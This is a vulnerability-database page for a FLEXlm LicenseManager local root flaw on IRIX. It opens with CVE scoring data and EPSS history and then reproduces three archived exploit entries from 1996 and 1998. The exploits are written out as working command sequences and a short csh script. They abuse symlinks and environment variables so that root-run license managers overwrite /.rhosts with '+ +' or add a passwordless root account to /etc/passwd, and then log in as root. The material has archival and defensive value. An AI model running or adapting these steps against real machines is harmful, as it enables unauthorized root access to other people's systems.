CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Arbitrary file creation and program execution using FLEXlm LicenseManager, from versions 4.0 to 5.0, in IRIX.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.9%
–
–
2022-04-03
–
–
1.9%
–
–
2022-04-24
–
–
1.9%
–
–
2022-09-11
–
–
1.9%
–
–
2023-03-12
–
–
–
0.07%
–
2023-06-18
–
–
–
0.07%
–
2023-06-25
–
–
–
0.07%
–
2023-07-09
–
–
–
0.07%
–
2024-02-11
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.25%
2025-03-30
–
–
–
–
0.25%
2025-04-15
–
–
–
–
0.25%
2025-04-15
–
–
–
–
0.25,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 1996-04-04 22h00 +00:00 Author : Arthur Hagen EDB Verified : Yes
source: https://www.securityfocus.com/bid/72/info
Under normal operation LicenseManager(1M) is a program used to view and manage FLEXlm and NetLS software licenses. Unfortunately, a set of vulnerabilities has been discovered that allows LicenseManager(1M) to
overwrite root-owned files allowing root access.
% setenv NETLS_LICENSE_FILE /.rhosts
% /usr/etc/LicenseManager &
Install...
NetLS Node-locked
Vendor Name: whatever
Vendor ID: + +
Product name: whatever
License version: 1.000
License version:
Expiration date: 01-jan-0
(in license version field put a space)
Apply
License(s) succesfully installed
% cat /.rhosts
#:# "whatever" "whatever" "1.000" "Incomplete"
+ +
If your system has remote root logins disabled, replacing /.rhosts with
/etc/passwd and + + with toor:0:0::/:/bin/sh.
source: https://www.securityfocus.com/bid/73/info
Under normal operation LicenseManager(1M) is a program used to view and manage FLEXlm and NetLS software licenses. Unfortunately, a set of vulnerabilities has been discovered that allows LicenseManager(1M) to arbitrary manipulate root-owned files allowing root access.
% mkdir -p /tmp/var/flexlm
% setenv LICENSEMGR_FILE_ROOT /tmp
% cd /tmp/var/flexlm
% cat > license.dat
#
# FLEXlm license file
#
FEATURE + + blah sgifd 1.00 01-jan-0 0 blah
^D
% ln -s /.rhosts license.dat.log
% LicenseManager &
Next click on Update, fill in the four fields with any information and click
on Apply. LicenseManager will report an error. Ignore it and exit.
% cat /.rhosts
Checkpoint file /var/flexlm/license.dat Fri Nov 22 19:05:50 1996
#
# FLEXlm license file
#
FEATURE + + blah sgifd 1.00 01-jan-0 0 blah
% rsh localhost -l root
#
Publication date : 1998-10-20 22h00 +00:00 Author : Joel Eriksson EDB Verified : Yes
source: https://www.securityfocus.com/bid/461/info
The Solaris License Manager that ships with versions 2.5.1 and 2.6 is vulnerable to multiple symlink attacks. License Manager creates lockfiles owned by root and set mode 666 which it writes to regularily. It follows symlinks.
bash$ ls -l /var/tmp/lock*
-rw-rw-rw- 1 root root 0 Oct 21 18:24 /var/tmp/lockESRI
-rw-rw-rw- 1 root root 0 Oct 21 16:40 /var/tmp/lockISE-TCADd
-rw-rw-rw- 1 root root 0 Oct 21 14:29 /var/tmp/lockalta
-rw-rw-rw- 1 root root 0 Oct 21 18:52 /var/tmp/lockansysd
-rw-rw-rw- 1 root root 0 Oct 21 18:52 /var/tmp/lockasterxd
-rw-rw-rw- 1 root root 0 Oct 21 16:40 /var/tmp/lockhpeesofd
-rw-rw-rw- 1 root root 0 Oct 21 18:46 /var/tmp/locksuntechd
And:
bash$ ls -l /var/tmp/.flexlm
total 2
-rw-rw-rw- 1 root root 163 Oct 21 19:55 lmgrd.211
There are several lockfiles created by the License Manager. It is trivial to gain root access locally through exploitation of this vulnerability.
------
#!/bin/csh -f
# Change target user name before running
# Iconoclast@thepentagon.com 10/98
rm /tmp/locksuntechd
ln -s ~targetuser/.rhosts /tmp/locksuntechd
exit
------
then wait a min and cat + + >> ~targetuser/.rhosts